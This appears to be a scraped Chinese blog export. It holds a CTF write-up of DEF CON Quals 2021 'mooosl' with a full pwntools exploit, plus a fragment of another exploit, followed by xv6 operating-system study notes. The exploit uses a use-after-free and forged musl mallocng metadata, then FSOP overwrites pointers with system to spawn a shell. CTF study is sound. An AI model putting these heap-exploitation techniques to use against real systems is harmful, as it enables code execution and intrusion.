p64(addr_libc + 0xb7a60) + p64(0) + p64(1) fake_user += p64(0xdeadbeef) + p64(addr_ofl_head - 0x20) + p64(0)add(0x6873, 0x38, fake_user) # user->name --> users## construct fake_fileclear()# gdb.attach(p)add(0x6873, 0x38, p64(addr_system) * 7) # ofl_head[0] = "sh"add(0x100, 0x8, "aaad\\n")add(0x100, 0x38, p64(0) * 7) # ofl_head->lock = 0fengshui(3)add(0x50, 0x38, p64(addr_system) * 7) # ofl_head->write = systemp.sendline()p.interactive() Defcon Quals 2021 mooosl用的本地 libc,musl 1.2.2-4 amd64 静态分析一个典型的菜单题,存储 KV 12345678struct KV { char *key; char *value; __int64 key_size; __int64 value_size; __int64 hash; KV *next_KV;}; store 每次存储一个 KV,再申请 key 和 value 内存,计算 key 的 hash,取 hash 后 12 位将其放入 hash_map 中,用单链表存储 hash 后 12 位相同的 KV,头插法 可用于堆风水 query 先申请 key 内存,然后根据 key 的 hash 在 hash_map 中寻找对应的 KV,输出 value 内容,最后将 key 内存 free 可用于 堆风水 delete 先申请 key 内存,然后根据 key 的 hash 在 hash_map 中寻找对应的 KV,进行删除 12345678910111213141516kv = search(key, key_size);if ( kv ){ chain = &hash_map[kv->hash & 0xFFF]; // 这里忽略了一个条件,当 kv 是链表尾的时候,上一个 kv 的 next_KV 没有置零,导致 UAF if ( kv == *chain || kv->next_KV ) { while ( kv != *chain ) chain = &(*chain)->next_KV; *chain = kv->next_KV; } free(kv->key); free(kv->value); free(kv); puts("ok");} 利用点 申请两个 hash 后 12 位相同的 kv,delete 后面一个造成 UAF 通过堆风水和 query 泄露出重要信息 再通过堆风水和 delete,伪造 meta_area,通过 unsafe_unlink 任意地址写 主要是通过 delete 的 free(kv->key) 或 free(kv->value) 来 unlink 因为这两个指针可以任意写(笔者想了好久死活没想出来) 通过改写 ofl_head 指向伪造的 file 最后 exit 导致 FSOP 下面是看别人 wp 是做法,要写三次,伪造三次(逆天) 通过改写 stdout 的 write 函数指针为 system 和 flags 为 /bin/sh\\x00,并使 wpos != wbase 即可导致 FSOP 拿到 shell 思路很简单,但是 exp 是真的难写😭😭 exp123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169from pwn import *context(arch='amd64', os='linux', log_level='debug')address = "".split(':')filename = "./" + __file__[0:-3]elf = ELF(__file__[0:-3])# p = remote(address[0], address[1])p = process(__file__[0:-3])libc = ELF("/usr/lib/x86_64-linux-musl/libc.so")def store(key, value, key_size=None, value_size=None): p.recvuntil(b"option: ") p.sendline(b"1") p.recvuntil(b"size: ") if key_size == None : key_size = len(key) p.sendline(str(key_size).encode()) p.recvuntil(b"content: ") p.send(key) p.recvuntil(b"size: ") if value_size == None : value_size = len(value) p.sendline(str(value_size).encode()) p.recvuntil(b"content: ") p.send(value)def query(key, key_size=None): p.recvuntil(b"option: ") p.sendline(b"2") p.recvuntil(b"size: ") if key_size == None : key_size = len(key) p.sendline(str(key_size).encode()) p.recvuntil(b"content: ") p.send(key)def delete(key, key_size=None): p.recvuntil(b"option: ") p.sendline(b"3") p.recvuntil(b"size: ") if key_size == None : key_size = len(key) p.sendline(str(key_size).encode()) p.recvuntil(b"content: ") p.send(key)def exit(): p.recvuntil(b"option: ") p.sendline(b"4") def calc(key): vi = 2021 for i in range(len(key)): vi = 0x13377331 * vi + key[i] return vi & 0xfffdef find_key(key=b"hhhh", size=4): while True: new_key = (int((random.random()) * int((b"\\xff" * size).hex(), 16)) % int((b"\\xff" * size).hex(), 16)) if calc(key) == calc(new_key.to_bytes(size, "little")) : return new_key.to_bytes(size, "little")def fengshui1(n): for _ in range(n): store(b"victim", b"victim")def fengshui2(n): for _ in range(n): query(b"h" * 0x30)def get_leak(): info = b"" for i in range(8): info = p.recv(2) + info return int(info, 16)# -- leak info --fengshui1(1)fengshui2(5) # AFFFFFU# leak elf & libcstore(b"hhhh", b"a" * 0x30) # [U]AAAA(U)U [U] is KV, (U) is KV->valuestore(find_key(), b"aaaa")delete(b"hhhh") # [F]AAAUFUfengshui2(3) # FFFFUFUstore(b"H\\n", b"H", 0x1000) # AAAAU[U]U [U] is the chunk we can getquery(b"hhhh")p.recvuntil(b":")addr_mmap = get_leak() - 0x20addr_libc = addr_mmap + 0x4000addr_malloc_context = addr_libc + 0xad9c0addr_elf = get_leak() - 0xc8d0addr_hhhh = addr_elf + 0xc890addr_KV = addr_elf + 0xcde0 # leak secretdelete(b"H") # AAAAUFUfengshui2(2) # AAFFUFUKV = p64(addr_hhhh) + p64(addr_malloc_context) + p64(4) + p64(0x30) + p64(0x69052445) + p64(0)store(KV, b"victim") # UUFFUFUquery(b"hhhh")p.recvuntil(b":")secret = get_leak()get_leak()addr_heap = get_leak() - 0x180success("addr_elf: " + hex(addr_elf))success("addr_mmap: " + hex(addr_mmap))success("addr_libc: " + hex(addr_libc))success("secret: " + hex(secret))# -- construct --delete(KV) # FFAAUFUaddr_system = addr_libc + libc.sym["system"]addr_ofl_head = addr_libc + 0xafd48addr_fake_meta_area = addr_mmap + 0x1000addr_fake_meta = addr_fake_meta_area + 0x18addr_fake_group = addr_fake_meta + 0x28addr_fake_chunk = addr_fake_group + 0x10last_idx = 0freeable = 1sc = 8 # 0x90maplen = 1fake_meta = p64(addr_fake_chunk) # prevfake_meta += p64(addr_ofl_head) # next fake_meta += p64(addr_fake_group) # memfake_meta += p64(0) # avail & freed maskfake_meta += p64(last_idx | freeable << 5 | sc << 6 | maplen << 12)active_idx = 0fake_group = p64(addr_fake_meta)fake_group += p64(active_idx)fake_chunk = b"/bin/sh\\x00"fake_chunk += p64(0) * 7fake_chunk += p64(addr_system) * 7fake_meta_area = b"h" * 0xfd0fake_meta_area += p64(secret) # checkfake_meta_area += p64(0) # nextfake_meta_area += p64(1)payload = fake_meta_areapayload += fake_metapayload += fake_grouppayload += fake_chunkpayload += b"\\n"store(payload, b"victim", 0x1200) # FFAUUFUstore(b"victim", b"hhhh")fengshui2(1) # AAUUUFUaddr_hhhh = addr_hhhh + 0xb0KV = p64(addr_hhhh) + p64(addr_fake_chunk) + p64(4) + p64(0x80) + p64(0x69052445) + p64(0)store(KV, b"victim")gdb.attach(p)delete(b"hhhh")exit()p.interactive() 参考musl libc 堆管理器 mallocng 详解 (Part I) 从musl libc 1.1.24到1.2.2 学习pwn姿势 [阅读型]新版musl libc(1.2.2)堆管理之源码剖析! [原创]musl 1.2.2 总结+源码分析 One 新版musl libc 浅析 2022-强网杯初赛-Writeup-By-Xp0int 借助DefCon Quals 2021的mooosl学习musl mallocng","link":"/2022/10/10/Musl%20heap%20%E6%B5%85%E6%9E%90/"},{"title":"Xv6","text":"本文是笔者在学习 MIT 6.1810 2022 Fall 阅读 xv6 文档时所写,大部分是将原文翻译,笔者尽可能加入自己的理解并排版,应该会持续更新直到文档读完 Chapter 1 Operating system interfacesxv6 实现的 Unix kernel 的服务和系统调用的子集 在 user 目录下可查看程序源码 System call Description int fork() 创建一个进程,返回子进程的 PID int exit(int status) 结束当前进程,status 返回给 wait() int wait(int *status) 等待一个子进程 exit,exit 的 status 在 *status中,返回子进程 PID,没有子进程返回 -1 int kill(int pid) 结束 PID 对应的进程,返回 0 或 -1 int getpid() 返回当前进程的 PID int sleep(int n) 暂停 n 个时钟 int exec(char *file, char *argv[]) 加载文件并使用参数执行,仅在错误时返回 char *sbrk(int n) 内存增加 n 字节,返回新内存的首地址 int open(char *file, int flags) 打开文件,flags 表示读写,返回一个 fd int write(int fd, char *buf, int n) 从 buf 向 fd 写 n 字节,返回 n int read(int fd, char *buf, int n) 从 fd 读 n 字节向 buf 写入,返回读的字节数 int close(int fd) 释放 fd int dup(int fd) 返回与 fd 相同文件的一个新的 fd int pipe(int p[]) 创建一个管道,将读写 fd 放入 p[0] 和 p[1] int chdir(char *dir) 改变当前目录 int mkdir(char *dir) 创建一个目录 int mknod(char *file, int, int) 创建一个设备文件 int fstat(int fd, struct stat *st) 读取文件信息放入 st int stat(char *file, struct stat *st) 读取文件信息放入 st int link(char *file1, char *file2) 为 file1 创建另一个名字 file2,即硬链接 int unlink(char *file) 删除一个文件 如果没有另外说明,系统调用返回 0 为正常,返回 -1 为错误 进程和内存父子进程的内存关系 I/O 和文件描述符管道p[0] 为读端,p[1] 为写端 如果读端没有数据,read 会等待数据写入或等待指向写端的所有 fd 关闭,后者类似到文件结尾, read 会返回 0 如果 read 到读端,会一直等待 shell 可以用 | 符号实现管道 grep fork sh.c | wc -l 将 | 左边的结果通过管道流向右边 多 | 可以创建进程树 管道可以自己清理自己 可以通过任意长度的数据流 管道可以并行执行 文件系统#todo 真实世界Unix 系统调用接口通过 POSIX 标准进行标准化 Chapter 2 Operating system organization三个要求 多路复用 隔离 交互 抽象物理资源每个应用程序直接访问物理资源 效率高 需要应用程序之间可信且没有错误 因此需要进行强隔离,同时也会提供便利 禁止应用程序直接访问敏感的硬件资源,将资源抽象为服务 用户/管理者模式,系统调用强隔离需要应用程序和操作系统之间有硬边界 CPU 能提供硬件支持 RISC-V 的 CPU 有三种模式:机器模式、管理者(supervisor)模式、用户模式 机器模式 执行的指令具有完全特权 主要用具配置计算机,运行一段代码后会进入内核模式 管理者模式 CPU 可执行特权指令 启用、禁用终端 读写页表寄存器 用户模式 CPU 不能执行特权指令 如果尝试执行,CPU 会切换到管理者模式,并且杀死应用程序 通过系统调用来调用内核函数 系统调用会跳转到内核指定的入口点 CPU 从用户模式切换到管理者模式 内核可以验证系统调用的参数是否合理,决定是否进行请求的操作 内核和管理者模式似乎有点分不清? 笔者的理解:管理者模式是 RISC-V 的 CPU 定义的,相对于用户模式多了一些特权;内核是相对用户代码而言,运行在不同的模式下。模式对应着身份,内核和用户代码对应着一个实体 内核架构宏内核设计缺点:操作系统不同部分之间的接口复杂,编写代码容易出错 微内核设计最大限度地减少内核模式下运行的操作系统代码数量,在用户模式下执行操作系统的大部分功能 xv6 kernel 代码架构 文件 描述 文件 描述 bio.c 文件系统的磁盘块缓冲 proc.c 进程和调度 console.c 连接到用户键盘和屏幕 sleeplock.c 放弃 CPU 的锁 entry.S 第一次启动的指令 spinlock.c 不放弃 CPU 的锁 exec.c exec() 系统调用 start.c 机器模式早期启动代码 file.c 文件描述符 string.c C 字符串和字节数组代码库 fs.c 文件系统 swtch.S 线程切换 kalloc.c 物理页分配器 syscall.c 系统调用的调度 kernelvec.S 处理来自内核的陷阱,定时器中断 sysfile.c 文件相关的系统调用 log.c 文件系统日志记录和崩溃恢复 sysproc.c 进程相关的系统调用 main.c 启动阶段控制其他模块的初始化 trampoline.S 切换用户/内核模式的汇编 pipe.c 管道 trap.c 处理陷阱和中断并从中返回 plic.c RISC-V 中断控制器 uart.c 串口控制台设备驱动 printf.c 格式化输出到控制台 virtio_disk.c 磁盘设备驱动 vm.c 管理页表和地址空间 defs.h 模块间接口的定义 进程地址空间每个进程有一个单独的页表,定义了进程的地址空间 有许多因素限制了进程地址空间的最大值 RISC-V 的指针为 64 位 在页表中查找虚拟地址时,硬件仅使用低 39 位 xv6 只使用 38 位 #why 因此最大地址位 2^38^ - 1 = 0x3fffffffff,即 MAXVA(在 kernel/risc.h 中定义)、 在地址空间的顶部保留了一页用作 trampoline(跳板、蹦床),一页用作映射进程的 trapframe(陷阱帧),xv6 用这两个页面进入和退出内核 trampoline 包含进入和退出内核的代码 trapframe 映射用于保存和恢复用户进程的状态 进程状态xv6 内核维护每个进程的状态,存放到 proc 结构体中(kernel/proc.h) 最重要的部分是页表、内核栈、运行状态 p->state 表示进程状态(分配、准备运行、等待IO、正在退出) p->pagetable 保存页表,还用作存储进程内存的物理页地址的记录 栈空间 每个进程有两个栈:用户栈和内核栈(p->kstack) 在执行用户指令时,只有用户栈在使用,内核栈为空 当进入内核模式(系统调用或中断),内核代码会在内核栈上执行,用户栈不变 内核栈是独立的,即使进程破坏了用户栈,内核也可以执行 启动 xv6,第一个进程和系统调用的代码 RISC-V 开机时,会自行初始化,运行存储在 ROM 中的引导加载程序 引导加载程序将 xv6 内核加载到内存 0x80000000 中,因为 0 ~ 0x80000000 之间包含 IO 设备(RISC-V 在分页硬件禁用和虚拟地址直接映射到物理地址条件下开始) 在机器模式下,从 _entry 开始执行 xv6 _entry 的指令设置一个栈,以便 xv6 运行 C 代码 xv6 在 kernel/start.c 中声明一个初始栈 stack0 的空间 _entry 的代码将栈顶寄存器 sp 加载到 stack0 的顶部 stack0+0x1000 接下来调用 kernel/start.c 中的代码 start 函数 先在机器模式执行配置代码 修改 mstatus 寄存器中 MPP(Machine Previous Privilege mode)的值为 Supervisor,在 mret 时返回到管理者模式 将 main 的地址写入 mepc 寄存器作为 mret 返回地址 将所有中断和异常委托给内核 将 0 写入 satp 页表寄存器,禁用内核模式下的虚拟内存转换 对时钟芯片编程来生成计时器中断 然后通过 mret 指令切换到管理者模式,进入内核,执行 main 函数 mret 常用于在进入机器模式后返回到管理者模式 start 会将前一个模式设置为管理者模式,以便符合 mret 的条件 main 函数 初始化控制台 初始化物理页分配器 创建内核页表 加载启动页面 初始化进程表 设置内核的 trap 处理位置 初始化中断控制 PLIC 通过中断请求 PLIC 访问设备 初始化 buffer 缓存 初始化 inode 缓存 初始化文件系统 初始化磁盘 进入 userinit 函数 userinit 函数 创建第一个进程 执行用 RISC-V 编写的小程序,使用第一个系统调用 在 user/initcode.S 中把 SYS_exec 系统调用号传给 a7 寄存器,然后调用 ecall 进入内核 安全模型#todo 真实世界大多数操作系统采用了进程的概念,但是现代操作系统的进程支持多个线程,以允许单个进程利用多个 CPU,潜在地更改了接口(如 Linux 的 clone,fork 的一种变体),来控制线程共享的各个方面 Chapter 3 Page tables#todo 分页硬件#todo 内核地址空间#todo 代码:创建一个地址空间大多数处理地址空间和页表的代码在 kernel/vm.c 中 数据结构 pagetable_t,是指向 RISC-V 根页表的指针 typedef uint64 *pagetable_t,它可以是内核或每个进程的页表 中心函数是 walk 和 mappages walk:从页表中查找虚拟地址对应的 PTE mappages:为新映射安装 PTE kvm 开头的函数操作内核页表 uvm 开头的函数操作用户页表 copyin 和 copyout 用于用户与内核之间传输数据 系统启动一开始,main 调用 kvminit 来使用 kvmmake 创建内核页表,在此之前,地址直接映射到物理内存 然后调用 kvminithart 来安装内核页表,将根页表的物理地址写入 satp 寄存器,在此之后 CPU 会使用内核页表转换地址 kvmmake 首先分配一页物理内存来保存根页表 然后调用 kvmmap 来安装内核需要的 PTE 包括内核的指令和数据,最高到 PHYSTOP 的物理内存,设备的内存范围 然后调用 proc_mapstacks 给每个进程分配一个内核栈 它调用 kvmmap 把每个栈映射到 KSTACK 生成的虚拟地址,留出了保护页的空间 kvmmap 调用 mappages 安装 PTE mappages 它对每个虚拟地址先调用 walk 查找对应的 PTE 地址 然后初始化 PTE 保存对应的 PPN 和 权限标志位 walk 它对三级页表进行查询对应的 PTE 若 PTE 无效且设置了 alloc 参数,walk 会分配一个新的页面,并把物理地址放入 PTE 最后返回第三级页表的 PTE 地址 物理内存分配xv6 在内核结尾与 PHSYTOP 之间分配运行时内存,一次分配和释放 4KB xv6 追踪哪些页面是 freed,通过建立一个链表 分配包括从链表中移除,释放包括将 freed 页加入从链表中 代码:物理内存分配器分配器位于 kernel/kalloc.c 中 数据结构是一个 free 链表,每个元素是 struct run,链表由一个 spin lock 保护,锁调用 acquire 和 release,链表和锁被包装在 kmem 结构体中 kernel/kalloc.c1234struct { struct spinlock lock; struct run *freelist;} kmem; xv6 应该通过解析硬件的配置信息来决定有多少物理内存可用 main 函数调用 kinit 来初始化分配器 kinit 初始化 free 链表来保存 free memory 的每一页(kernel 末尾与 PHSYTOP 之间的内存空间) kinit 调用 freerange 来对每一页调用 kfree 向 free 链表添加内存 freerange 使用 PGROUNDUP 确保物理地址对齐(类似向上取整) kfree 会将释放的页面所有值设为 1,然后使用头插法将页面首地址加入 free 链表 进程地址空间每个进程有一个单独的页表 Address section Permission MAXVA trapline RX– trapframe R-W- unused heap R-WU stack R-WU guard page data R-WU Page aligned unused 0 text R-XU trampoline 和 trapframe 映射在高地址,用户模式不可访问 trampoline:在调用 ecall 时会跳转到这里 trapframe:在调用 ecall 时,用户进程的通用寄存器会保存在这里 代码:sbrk系统调用 sbrk 用于进程增减内存大小,由 growproc 实现 growproc 根据 n 的正负,调用 uvmalloc 或 uvmdealloc uvmalloc 调用 kalloc 分配物理内存,然后调用 mappages 向用户页表添加 PTE uvmdealloc 调用 uvmunmap,uvmunmap 使用 walk 找到对应的 PTE 和 kfree 释放物理内存 代码:execexec 使用 namei 打开二进制文件,然后读取 ELF 头 一个 ELF 文件包含一个 ELF 头(struct elfhdr),一系列程序 section 头(struct proghdr),每个 struct proghdr 描述了程序必须加载到内存中的 section,xv6 程序有两个,一个指令,一个是数据 第一步是检查文件是否是 ELF 文件,它从 4 字节的魔术数字开始(0x7F,’E’,’L’,’F’,或者 ELF_MAGIC) 使用 proc_pagetable 分配一个没有用户映射的新页表,用 uvmalloc 给每个 ELF 段分配内存,用 loadseg 加载每个段到内存中,loadseg 使用 walkaddr 找到物理地址写入每个段。使用 readi 读取每个段 分配并初始化一页用户栈,将参数字符串复制到栈顶,在 ustack 记录字符串指针,ustack 前三个是 fake 返回程序计数器,argc 和 argv exec 会在栈页的下面放一个不可访问的页 在准备新的内存镜像时,如果检测到一个错误(如无效的程序段),会跳转到 bad 标签,释放新的镜像,返回 -1。一旦镜像完成,exec 提交新的页表,释放旧的 exec 从文件指定的地址将数据加载到内存中,因此 exec 是有风险的,需要执行很多检查 Real world真正的内存分配器需要处理小分配和大分配 Chapter 4 Traps and system callstrap(陷阱)是让CPU 搁置普通指令的执行,并将控制权转移到处理该事件的特殊代码 系统调用 异常 除以 0 或使用无效的虚拟地址等 中断 设备发出信号,如磁盘完成读写请求时 通常,trap 发生时执行的代码不久后都需要恢复,代码并不需要意识到发生了任何特殊情况 异常处理 trap 强制将控制权转移给内核 内核保存寄存器和其他状态 内核执行处理代码 内核恢复保存的寄存器和状态并从陷阱中返回 原始代码从它停止的地方恢复 Xv6 在内核中处理所有 trap,trap 不会传递给用户代码 隔离要求只有内核可以使用硬件设备,且内核是一种方便的机制,可以在多个进程之间共享设备,不互相干扰,这对于异常也有意义,xv6 通过杀死违规程序来处理用户空间的所有异常 Xv6 处理 trap 有四个阶段 RISC-V CPU 进行硬件操作 一些为内核 C 代码做好准备的汇编指令 决定如何处理 trap 的 C 函数 系统调用或设备驱动程序服务例程 处理 trap 的代码(汇编或 C)被称为 handler handler 的第一步通常用汇编语言编写,称为 vector RISC-V trap 机制寄存器控制寄存器:内核可读写,用于告诉 CPU 怎么处理 trap stvec:保存内核处理 trap 的地址,发生 trap 时会跳转到该地址 Supervisor Trap Vector 用户模式下会指向内核代码的 usertrap 内核模式下会指向内核代码的 kerneltrap sepc:发生 trap 时保存当前的 pc,在使用 sret 指令时,会跳转到 sepc 指向的地址 Supervisor Exception Program Counter sret:从 trap 返回 内核可控制 sepc 让 sret 返回到适当的位置 scause:描述 trap 类型 Supervisor Trap Cause 8 表示系统调用 其他表示错误或者中断 sscatch:辅助作用,防止在保存用户寄存器前将其覆盖 一般用来保存 a0 在 xv6 的 2020 版本用来保存 trapframe 地址 sstatus:以 bitmap 形式保存一些控制信息 Supervisor Status SPP:表示 trap 来自用户模式(0)还是管理者模式(1),并且用来告诉 sret 返回到哪个模式 SIE:表示是否允许设备中断,若为 0 则 RISC-V 会推迟设备中断 在机器模式下有一组类似的控制寄存器,xv6 只在定时器中断的情况下使用 处理 trap 前下面是除 定时器中断 外的 trap 将 sstatus 的 SIE 位 置零 如果是设备中断,不会继续下面的操作 将 pc 复制给 sepc 保存当前模式到 sstatus 的 SSP 设置 scause 表示 trap 原因 设置为管理者模式 将 stvec 复制给 pc 开始执行新的 pc 指向的指令 注意:此时没有转换为内核页表,没有转换为内核栈,也没有保存除 pc 外的任何寄存器,这些需要由内核来实现 原因:这样能提供给内核更好的灵活性,例如在内核中发生 trap 并不需要转换页表,可以提高处理 trap 的性能 相关的汇编指令 ecall environment call 系统调用,一种 trap sret Supervisor Return 将模式从管理者模式更改为指定的模式(sstatus 的 SPP 位) 将 sepc 寄存器复制给 pc 寄存器 启用设备中断(将 sstatus 的 SIE 位设为 1) csrw 写入控制寄存器 csrw sscratch, a0 csrr 读取控制寄存器 csrr t0, sscratch 用户 trap来自用户空间的 trap 的处理流程 uservec(kernel/trampoline.S) usertrap(kernel/trap.c) usertrapret(kernel/trap.c) userret(kernel/trapline.S) trampoline由于RISC-V 硬件在发生 trap 时不会转换页表,这意味着 stvec 保存的地址(处理 trap 的地址)必须在用户页表中存在有效映射,并且在转换成内核页表后,必须在内核页表中也存在有效映射 Xv6 使用了一个 trampoline 页表来解决上面的限制条件 trampoline 页面包含 stvec 指向的 uservec 程序和用于返回到用户代码的 userret 程序 trampoline 在内核每个进程的页表中都映射到了 TRAMPOLINE(0x3ffffff000)地址上,位于虚拟地址顶部,它只允许管理者模式执行 trapframe通用寄存器内容会保存到一个 trapframe 结构体,它通常在用户页表中映射到与 trampoline 相邻的位置(0x3fffffe000),且也只允许管理者模式访问 它的物理地址保存在 proc 结构体的 trapframe 成员变量中,以便内核能通过内核页表直接访问它 kernel/proc.h12345678struct trapframe { /* 0 */ uint64 kernel_satp; // kernel page table /* 8 */ uint64 kernel_sp; // top of process's kernel stack /* 16 */ uint64 kernel_trap; // usertrap() /* 24 */ uint64 epc; // saved user program counter /* 32 */ uint64 kernel_hartid; // saved kernel tp ...}; kernel_satp 保存 kernel 页表地址 kernel_sp 保存进程的内核栈顶地址 kernel_trap 保存内核代码中的 usertrap 位置 epc 保存用户的 pc 在 usertrap() 中会将 sepc 寄存器内容保存到这里 因为可能会跳转到另一个用户进程去执行,sepc 寄存器可能会被更改 kernel_hartid CPU 核心 id,表示该进程在哪个 CPU 核心运行,从 0 开始 剩下的是通用寄存器 uservecuservec 代码位于 kernel/trampoline.S 中 它的作用是保存用户代码的通用寄存器,切换内核栈、内核页表等,跳转到内核中处理 trap 的位置 usertrap(kernel/proc.c) usertrapusertrap 代码位于 kernel/trap.c 中 它的作用是确定 trap 的原因,处理它并返回 首先将 stvec 更改为 kernelvec(kernel/kenelvec.S),这样在内核中发生 trap 时,会进入 kerneltrap 进行处理,而不会进入 usertrap 将 sepc 保存到 trapframe 中,因为 trap 有可能时计时器中断,转换到另一个进程去执行,会将 sepc 覆盖 根据 trap 种类 系统调用 p->trapframe->epc +=4 这样在回到用户进程时,会执行下一条指令,而不是再执行 ecall 启用设备中断 调用 syscall 来执行对应的系统调用 设备中断 调用 devintr 处理 异常 杀死出错的进程 检查进程是否被杀死,若杀死则调用 exit 退出 检查是否是计时器中断,若是则调用 yield 放弃 CPU usertrapretusertrapret 代码位于 kernel/trap.c 中 它的作用是设置 trapframe 和控制寄存器 将 stvec 更改为 uservec(kernel/trampoline.S) 设置 trapframe 中 uservec 需要使用的字段 设置 sstatus 设置 sepc 为之前保存的 pc 将用户页表放入 a0 传递给 userret userretuserret 代码位于 kernel/trampoline.S 中 它的作用是切换为用户页表,从 trapframe 中恢复通用寄存器,调用 sret 跳转 sepc 指向的地址,返回到用户模式 代码:调用系统调用user/initcode.S 将 exec 的参数放在 a0 和 a1 寄存器中,把系统调用号放在 a7 中 ecall 指令进入内核,执行 uservec、usertrap 和 syscall 执行 syscall 在 trapframe 中检索 a7 保存的系统调用号,并用它索引到 syscall 中 当 syscall 返回时,将返回值记录到 p->trapframe->a0 中 然后用户空间的 exec 函数会将该值返回 系统调用号无效,会打印错误然后返回 -1 代码:系统调用参数根据 RISC-V C 调用约定,系统调用参数存放在寄存器中 内核陷阱代码将寄存器的值保存到当前进程的 trapframe 中,这样内核可以找到它们 内核函数 argint,argaddr,argfd 从 trapframe 中检索系统调用参数作为整数、指针或文件描述符,它们都调用 argraw 从用户寄存器中检索 指针作为参数有两个挑战 用户程序可能是错误或恶意的,传递一个无效的指针或欺骗内核用来访问内核内存的指针 xv6 内核页表映射与用户页表映射并不相同,不能用普通指令从提供的地址加载或存储数据 内核实现了安全的传输数据的函数 文件系统调用如 exec 用 fetchstr(kernel/syscall.c)从用户空间检索字符串文件名参数 fetchstr 调用 copyinstr(kernel/vm.c)来完成 copyinstr 从用户页表的虚拟地址 p->pagetable->srcva 复制 max 字节到 dst 中 因为 pagetable 不是当前的页表,copyinstr 使用 walkaddr(它会调用 walk) 在 pagetable 中查找 srcva,从而产生物理地址 pa0 内核将每个物理内存地址映射到对应的内核虚拟地址,因此 copyinstr 能直接从 pa0 复制字符串字节到 dst walkaddr(kernel/vm.c)会检查用户提供的虚拟地址是否是进程地址空间的一部分,因此程序不能欺骗内核来读取其他内存 类似的功能 copyout 从内核读取数据到用户提供的地址 内核 trapCPU 在执行内核时,stvec 会指向 kernelvec(kernel/kernelvec.S) 如果发生 trap 会跳转到 kernelvec 来处理 trap kernelvec 将通用寄存器保存在中断的内核线程的栈中,trap 有可能导致切换线程,这样不会导致混乱 kernelvec 保存完寄存器后调用 kerneltrap(kernel/trap.c) kerneltrap 会保存控制寄存器并处理两种 trap 设备中断 使用 devintr 检查设备中断 如果是计时器中断,且进程的内核线程正在运行,kerneltrep 会调用 yield 让其他线程有机会运行 异常 内核会调用 panic 然后停止运行 当 kerneltrap 任务完成后,它需要返回到 trap 中断的代码,会恢复保存的控制寄存器,然后返回到 kernelvec kernelvec 恢复保存的通用寄存器,然后执行 sret,返回中断的内核代码 在内核开始执行时有一段时间 stvec 仍然指向 uservec,这段时间内不允许发生设备中断 RISC-V 会在发生 trap 时关闭设备中断,让内核有时间设置 stvec 为 kernelvec 页面错误异常CPU 会发出页面错误异常,当: 虚拟地址在页表中没有映射 PTE 的 PTE_V 标志位为 0 PTE 的权限位阻止正在尝试的操作 RISC-V 区分三种页面错误: load page faults store page faults instruction page faults PC 寄存器的地址指向的指令无法翻译 xv6 的异常处理很单一:如果在用户空间发生异常,内核会杀死出错的进程,如果在内核中发生异常,内核会发生 panic 真实的操作系统会做很多有趣的处理 COW fork Lazy allocation Demand Paging Paging to disk Extending stacks Memory-mapped files COW fork许多内核使用页面错误来实现 COW,加快 fork,它不需要复制内存,特别是在 fork 后 exec 时很高效 在 xv6 中,fork 会让子进程的初始内存与父进程的相同,它调用 uvmcopy 给子进程分配物理空间并复制父进程的内存给它 如果父子进程共享父进程的物理内存会更加高效 COW fork 的简单计划 父子进程一开始共享所有的物理页,且设为只读 当某个进程要写入内存时,CPU 抛出页面错误异常 内核的 trap 处理程序分配一个新的物理页面,并将原页面的内容复制过去 将出错进程的页表中相关 PTE 指向副本,允许读写,然后重新执行指令 COW 需要一个记录,来决定物理页面何时释放,它可能有多个进程在使用;当发生 store 页面错误时,如果该物理页面只有出错进程指向它,不需要再复制,直接使用 Lazy allocation用户程序调用 sbrk 申请更多内存时,内核先增加它的 size,但不申请物理内存,不创建映射 当用户程序访问新地址时,会发生页面错误,内核再申请一页物理内存并在页表添加映射 kalloc 初始化页面 页面映射 更新页表 重新执行指令 如果用户程序申请了很大内存,但是不去使用,Lazy allocation 会提高效率 lazy allocation 可以让空间成本随时间分摊,但是会导致页面错误的额外开销 内核可以通过分配一批连续页面,对页面错误的 trap 处理程序进行特殊化来减小开销 Demand paging在 exec 中,xv6 会将程序的所有 text 和 data 直接加载到内存中,由于程序可能会很大,从磁盘中读取开销昂贵 现代内核为用户地址空间创建页表,但是 PTE 标记为无效 当出现页面错误时,内核将页面的内容从磁盘中读取,添加映射 Paging to disk一个进程可能需要的内存多于计算机的 RAM,操作系统可能会实现 paging to disk 内核会将用户页面的一部分放在内存中,其余的页面保存到磁盘中的 paging area 区域,并将对应的 PTE 标记为无效 当进程尝试访问磁盘上的页面,会发生页面错误,内核会将该页面从硬盘中读取出来 如果没有多余的内存 内核先将一个页面驱逐,保存到磁盘中,将对应的 PTE 标记为无效,但是驱逐的花销是昂贵的 真实世界如果将内核内存映射到每个进程的用户页表中,可以消除对页表切换的需求 生产环境的操作系统实现了 COW、Lazy allocation、Demand paging、Paging to disk、Memory-mapped files 等等 xv6 没有这样做,如果用完内存, Chapter 5 Interrupts and device drivers 驱动程序(driver) 操作系统中管理特定设备的代码它配置硬件,告诉设备执行操作,处理产生的中断,与可能正在等待来自设备 I/O 的进程进行交互 driver 代码可能很复杂,因为驱动程序与它管理的设备要同时执行 driver 必须了解设备的硬件接口,接口可能很复杂且缺乏文档记录 后续驱动程序用 driver 表示(别问,问就是 driver 在一堆中文里更清晰) 中断(Interrupt) 设备需要操作系统特别关注,它可以进行配置,产生中断(trap 的一种) 当设备发起中断,内核 trap 处理代码能识别出设备中断并调用驱动程序的中断处理程序 在 xv6 中,中断处理的分配在 devintr 函数中 许多设备 driver 在两个上下文中执行代码 在进程的内核线程中执行前半部分 前半部分由需要执行 I/O 的系统调用(如 read 和 write)来调用 此代码可能请求硬件启动操作(如请求硬盘读取块),然后等待操作完成 最后设备完成操作,发起中断 在中断时执行后半部分 driver 的中断处理程序作为后半部分 它找到设备完成的操作,在适当的情况唤醒正在等待的进程 告诉硬件开始处理下一个操作 代码:控制台输入控制台连接到 RISC-V控制台 driver 位于 kernel/console.c,可作为驱动程序结构的一个简单说明 xv6 的控制台 driver 交互的 UART 硬件是 QEMU 仿真的 16550 芯片,在真实的计算机,一个 16550 芯片管理 RS232 串行链路,连接着一个中断或其他计算机。当运行 QEMU 时,它连接着键盘和显示器 控制台 driver 一次累积一行的输入,处理特殊的输入字符,如退格 backspace 和 control-u 当用户在 QEMU 中向 xv6 输入时,击键通过 QEMU 模拟的 UART 硬件传递给 xv6 一些物理地址由 RISC-V 硬件连接到 UART 设备 